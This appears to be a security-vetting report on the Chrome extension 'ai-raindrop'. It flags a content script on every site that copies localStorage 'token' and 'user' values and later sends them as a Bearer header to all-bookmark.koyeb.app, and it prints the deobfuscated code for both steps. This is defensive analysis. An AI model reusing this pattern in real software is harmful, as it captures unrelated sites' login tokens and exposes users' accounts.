Is ai-raindrop safe?

Medium risk

ai-raindrop reads a 'token' value from localStorage on every website you visit and can send it to the extension's own server as your login.

A content script runs on every page and copies whatever is stored under the localStorage keys 'token' and 'user' into the extension's storage, without checking that the page belongs to the vendor. That stored value is then attached as the Authorization header on the extension's own API calls to all-bookmark.koyeb.app, so a login token created by an unrelated site can end up being sent to ai-raindrop's backend. The extension also accepts login messages from local development addresses (localhost:3000 and localhost:8080) left over from testing, which can set the stored login credentials without verifying they came from the real vendor site.

zhouyijiaren66v1.2.0Chrome Web Store
49Risk
Who publishes it

zhouyijiaren66 - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
zhouyijiaren66

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

All-in-One Bookmarks reads any site's 'token' key and forwards it as its own

Code analysis shows a content script reads the localStorage key 'token' on every page you visit and saves it.

The popup later sends that value as its own login token to the vendor's server.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Static analysis
What actually happens
You did this

You visit any website whose own code stores a login token under the localStorage key 'token', a common convention for JWT-based sites.

The extension does not need to be opened; the content script runs on page load.

The extension did this

The extension reads that token straight out of the page's localStorage and copies it into its own extension storage.

The same value is later attached as this extension's own login credential when it talks to its maker's server.

The code that does this

Content script reads localStorage.token on every page

Readable version

Readable equivalent (deobfuscated/content.js:33-63)

deobfuscated/content.js
async function syncLoginState() {  try {    const token = localStorage.getItem("token");    if (token) {      let user = null;      try {        const raw = localStorage.getItem("user");        if (raw) user = JSON.parse(raw);      } catch (e) {}      const record = {        token,        user,        loginTime: Date.now(),        source: "content_script_direct"      };      await chrome.storage.local.set(record);      chrome.runtime.sendMessage({ type: "LOGIN_STATE_SYNCED", data: record });    }  } catch (e) {}}// Runs on DOMContentLoaded on every page: manifest.json content_scripts[0].matches = ['<all_urls>']
manifest.json content script scope
  • Where the script runs
    "matches": ["<all_urls>"]

    The content script that reads localStorage is injected on every website you visit, not just the vendor's own bookmarking site.

  • localStorage key read
    token

    The exact key name the script looks for on each page. Many unrelated JWT-based sites use this same convention for their own login session.

  • Second key read
    user

    An accompanying profile object the script also captures if present.

The code that does this

The extension's own login request replays whatever token is stored

Readable version

Readable equivalent (deobfuscated/popup.js:22338-22399)

deobfuscated/popup.js
const API_BASE = "https://all-bookmark.koyeb.app/api";const apiClient = axios.create({ baseURL: API_BASE, timeout: 10000, withCredentials: true });apiClient.interceptors.request.use(async (config) => {  const token = await new Promise((resolve) => {    chrome.storage.local.get(["token"], (result) => resolve(result.token));  });  if (token) {    config.headers.Authorization = `Bearer ${token}`;  }  return config;});// Whatever value currently sits in chrome.storage.local.token is sent,// regardless of which site's localStorage it was captured from.
Where the captured value is sent
    • all-bookmark.koyeb.app

    The vendor's own backend. Receives an Authorization: Bearer header built from whatever token is stored locally, which may belong to an unrelated site, not the vendor's own login.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Where it sends data

Destinations our analysis observed ai-raindrop contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • all-bookmark.koyeb.app

    ai-raindrop sends data to all-bookmark.koyeb.app. No other extension we have analyzed sends data here.

Updated 30 September 2026ajmfdjobelbbinadlgbkgfekekfoknjo